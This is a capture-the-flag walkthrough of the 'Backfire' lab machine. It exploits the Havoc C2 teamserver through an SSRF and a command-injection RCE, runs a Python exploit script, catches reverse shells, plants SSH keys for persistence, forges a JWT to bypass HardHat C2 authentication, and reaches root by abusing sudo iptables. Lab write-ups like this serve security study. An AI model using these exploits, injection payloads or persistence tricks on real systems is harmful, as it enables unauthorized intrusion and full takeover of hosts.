Backfire is a medium linux machine created by hyperreality and chebuya. The machine is using the havoc c2 framework which is vulnerable to CVE-2024-41570 SSRF and Auth RCE, by combining both the exploit we get the shell as ilya. The another c2 framework hardhat is running in port 7096 which is vulnerable to authenticationbypass. By exploiting the hardhat authentication bypass we can access the hardhat. The hardhat has a built in terminal which can be used to gain shell as sergej. The sergej user has a privilege to run the iptables and iptables-save with sudo privileges which can be used to further privilege escalate as a root.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Medium
30
18-01-2025
07-06-2025
Enumeration
Nmap
Started the nmap scan and found the ssh, https and http services running.
The Sleep of 2 seconds is used and Jitter of 15 seconds.
The notepad.exe is set as default process for both x64 and x86.
Listeners Configuration
Host: backfire.htb
HostBind: 127.0.0.1
Listens on port 8443 using HTTPS.
Vulnerabilities
CVE-2024-41570 - Havoc-C2-SSRF
The machine creator Chebuya has created the PoC blog post and exploit about the CVE-2024-41570.
The vulnerability allows us to spoof demon agent registrations and check-ins to open a TCP socket to the teamserver, enabling attackers to read and write data. The PoC registers a fake agent, open a socket, write data and read responses.
Executing the PoC
Create the python virtual environment and install the required libraries, then execute the PoC.
The connection received on nc confirms the vulnerability and we can interact with havoc.
Information Security - Havoc Auth RCE
The Include Security Team has released proof-of-concepts (PoCs) for remote code execution (RCE) vulnerabilities targeting open-source C2 servers. The details are published in their blog post. They have also created the github repository which contains the python script for exploitation. The github repository can be found here. The PoC requires credentials which is obtained through havoc.yaotl.
The PoC doesn't work from our local machine. We have to interact with the havoc through agents. The CVE-2024-41570 vulnerability can be used to interact with the havoc teamserver.
Foothold
By combining both the SSRF and RCE vulnerability we can interact with havoc teamserver and execute the command in host system.
Shell - ilya [ SSRF + Auth RCE Exploit ]
1
Combining both exploit's script with some modification for executing the command.
2
Create the file with reverse shell payload
3
Open python server and nc listener
4
Execute the havoc_exp.py
The shell is not persistent after some seconds it will terminate.
Getting persistent shell - ilya
We can get the persistent shell through ssh by creating ssh keypair and adding the our public key in ilya's ssh authorized_keys.
1
Create the ssh keypair
Copy the content of id_rsa.pub
2
Creating the payload and storing it in file
3
Get the shell using the above method. Copy and paste the content of payload.txt file
4
Now ssh using the private key
The user.txt file contains the user flag 👏
Privilege Escalation
Pillaging - ilya [ user ]
Listing the files and directories reveals the hardhat.txt file which contains message from Sergej.
The netstat reveals the two ports 5000 and 7096.
Using curl in both the ports reveals that the 7096 is running hardhat and 5000 is running harhat teamserver with self-signed certificate.
Port 7096
Port: 5000
Port forward both the ports.
Shell - sergej [ Hardhat Authentication Bypass ]
HardHat C2 is a cross-platform, collaborative Command & Control (C2) framework developed in C#. It is designed primarily for red-team engagements and penetration testing, aiming to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.
The JWT token can be created with Administrator and TeamLead role which is used to authenticate into HardHat C2 without valid passowrd. The PoC is posted in Medium, showing the HardHat Authentication Bypass. The PoC contains the python script which we are going to use.
1
Execute the above python script
We can simply login now inputting username and password as sth_pentest with JWT token.
2
Login into HardHat as user sth_pentest
3
The HardHat has built-in terminal which we will use to gain shell
Previously the technique used to gain persistent shell of ilya, we will be using same here to gain the shell as sergej.
4
SSH as a sergej using ssh public key
Shell - root [ iptables-save ]
The user sergej has a sudo privilages to run iptables and iptables-save to privilege escalated and gain a shell as a root.
whatweb -v https://10.10.11.49
WhatWeb report for https://10.10.11.49
Status : 404 Not Found
Title : 404 Not Found
IP : 10.10.11.49
Country : RESERVED, ZZ
Summary : HTTPServer[nginx/1.22.1], nginx[1.22.1], UncommonHeaders[x-havoc]
Detected Plugins:
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
String : nginx/1.22.1 (from server string)
[ UncommonHeaders ]
Uncommon HTTP server headers. The blacklist includes all
the standard headers and many non standard but common ones.
Interesting but fairly common headers should have their own
plugins, eg. x-powered-by, server and x-aspnet-version.
Info about headers can be found at www.http-stats.com
String : x-havoc (from headers)
[ nginx ]
Nginx (Engine-X) is a free, open-source, high-performance
HTTP server and reverse proxy, as well as an IMAP/POP3
proxy server.
Version : 1.22.1
Website : http://nginx.net/
HTTP Headers:
HTTP/1.1 404 Not Found
Server: nginx/1.22.1
Date: Thu, 23 Jan 2025 01:50:55 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Havoc: true
Content-Encoding: gzip
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver
diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();
/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();
QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}
// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}
python3 exploit.py -i 10.10.16.28 -p 8443 -t "https://10.10.11.49" -ip 127.0.0.1
[***] Trying to register agent...
[***] Success!
[***] Trying to open socket on the teamserver...
[***] Success!
[***] Trying to write to the socket
[***] Success!
[***] Trying to poll teamserver for socket output...
[***] Read socket output successfully!
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 43658
GET /vulnerable HTTP/1.1
Host: www.example.com
Connection: close
import hashlib
import json
import ssl
from websocket import create_connection # pip install websocket-client
HOSTNAME = "192.168.167.129"
PORT = 40056
USER = "Neo"
PASSWORD = "password1234"
ws = create_connection(f"wss://{HOSTNAME}:{PORT}/havoc/",
sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
# Authenticate to teamserver
payload = {"Body": {"Info": {"Password": hashlib.sha3_256(PASSWORD.encode()).hexdigest(), "User": USER}, "SubEvent": 3}, "Head": {"Event": 1, "OneTime": "", "Time": "18:40:17", "User": USER}}
ws.send(json.dumps(payload))
print(json.loads(ws.recv()))
# Create a listener to build demon agent for
payload = {"Body":{"Info":{"Headers":"","HostBind":"0.0.0.0","HostHeader":"","HostRotation":"round-robin","Hosts":"0.0.0.0","Name":"abc","PortBind":"443","PortConn":"443","Protocol":"Https","Proxy Enabled":"false","Secure":"true","Status":"online","Uris":"","UserAgent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"},"SubEvent":1},"Head":{"Event":2,"OneTime":"","Time":"08:39:18","User": USER}}
ws.send(json.dumps(payload))
# Create a psuedo shell with RCE loop
while True:
cmd = input("$ ")
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""
# Command injection in demon compilation command
payload = {"Body": {"Info": {"AgentType": "Demon", "Arch": "x64", "Config": "{\n \"Amsi/Etw Patch\": \"None\",\n \"Indirect Syscall\": false,\n \"Injection\": {\n \"Alloc\": \"Native/Syscall\",\n \"Execute\": \"Native/Syscall\",\n \"Spawn32\": \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\",\n \"Spawn64\": \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n },\n \"Jitter\": \"0\",\n \"Proxy Loading\": \"None (LdrLoadDll)\",\n \"Service Name\":\"" + injection + "\",\n \"Sleep\": \"2\",\n \"Sleep Jmp Gadget\": \"None\",\n \"Sleep Technique\": \"WaitForSingleObjectEx\",\n \"Stack Duplication\": false\n}\n", "Format": "Windows Service Exe", "Listener": "abc"}, "SubEvent": 2}, "Head": {
"Event": 5, "OneTime": "true", "Time": "18:39:04", "User": USER}}
ws.send(json.dumps(payload))
while True:
bla = ws.recv()
if b"compile output" in bla:
bla2 = json.loads(bla)
# print(bla2)
out = bla2["Body"]["Info"]["Message"].split("\n")
# print(out)
for line in out[1:]:
print(line)
break
ws.close()
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 51906
sh: 0: can't access tty; job control turned off
$ whoami
ilya
$ %
ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/dexter/.ssh/id_rsa): /home/dexter/HTB/Machines/Backfire/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/dexter/HTB/Machines/Backfire/id_rsa
Your public key has been saved in /home/dexter/HTB/Machines/Backfire/id_rsa.pub
The key fingerprint is:
SHA256:6sYoFLlgsqx48W45tMZ/1EaHnX40qwm+y5zHINMZC0w dexter@parrot
The key's randomart image is:
+---[RSA 3072]----+
| |
| E |
| . o o . |
|o.o o + + o |
|+o o S= * . o |
|..+ . .+ O . o |
|o. = =.. = + + |
|o o X.o .o..= |
| . =.+o. *+ |
+----[SHA256]-----+
vi payload.txt
payload.txt
echo "<YOUR PUBLIC KEY>" >> /home/ilya/.ssh/authorized_keys
nc -lvnp 8443
Listening on 0.0.0.0 8443
Connection received on 10.10.11.49 47944
sh: 0: can't access tty; job control turned off
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC9J2hQFK1/GLd8zx+yAhfaYZ0hkfgkFVXV4kdfxpyTe2vW41s6RgbhtsIila+TjJo37JecPHRF88J6i+0N3PWlTOaWm3/e55xm7aiYBqJDhytcXTuZiHUiSfaDuUy0o9b2Iw4wzf8MI/CQV/M7T05F5UUUmfr3MuIsSDBdsl8+SGG/K6mHxpE4wSa6k9h59tDX7KdTjO3WBQiCgdQJhPyIrFVvifNx7rSKCzT/5RduLL6O10kkd+TxaTTEGWClKqe3xbSueuFvp81BTF376LcKt81FiZVMLk9PhSeqay9gizHzqJirVIBjz15hvu90vARbewmXZ1D+8QRHKPC/7BALhqwvXgVDuH1ZW3hPNKto0aKScFnHVGUaxM6A/WY6+47Jl5RgL4JfzgF+UynrGGlO/C0XaUFnKppByLfwck0aeQErCMgbBxzrndlWffp74p6VXKgHtmzK7U0tCJnAiV1yIm5s01bkMbuEkUYUS67PJePQo+WeCd2TXUalowGSP9M= dexter@parrot" >> /home/ilya/.ssh/authorized_keys
$
ssh -i id_rsa ilya@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Feb 7 06:59:29 2025 from 10.10.16.6
ilya@backfire:~$
ilya@backfire:~$ ls
files hardhat.txt Havoc user.txt
ilya@backfire:~$ cat hardhat.txt
hardhat.txt
Sergej said he installed HardHatC2 for testing and not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#
ilya@backfire:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40056 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:5000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:7096 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
python3 hardhat_exp.py
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMDFjNDgzNWEtMjdkNC00MjM5LWE2OWUtOTk3ZjhiM2JlMDFlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzkwMzc5NzUsImV4cCI6MTc0MTQ1NzE3NSwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.bEucxY6Q5lPSz-HOzcYlAdqb9l5zjMhPxkY-g8g_O4I
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1053: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
warnings.warn(
User sth_pentest created
ssh -i id_rsa sergej@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Feb 8 09:22:43 2025 from 10.10.14.32
sergej@backfire:~$
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
sergej@backfire:~$
sergej@backfire:~$ ssh-keygen -t ed25519 -C "dexter@parrot"
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/sergej/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sergej/.ssh/id_ed25519
Your public key has been saved in /home/sergej/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:hN7WzfcmcC344THEdkCPdPW2XDGL99ztrOKteOwP9hI dexter@parrot
The key's randomart image is:
+--[ED25519 256]--+
| .+o+|
| . o.==|
| . . .=o*|
| . o . o +o=*|
| . S . = Bo*|
| . E* O |
| .o.+ =|
| o=+ + |
| .++== |
+----[SHA256]-----+
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment "$(printf '\n%s\n' "$(cat /home/sergej/.ssh/id_ed25519.pub)"; echo '\n')"
sergej@backfire:~$ ssh -i .ssh/id_ed25519 root@localhost
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Feb 8 09:33:12 2025 from 10.10.14.32
root@backfire:~#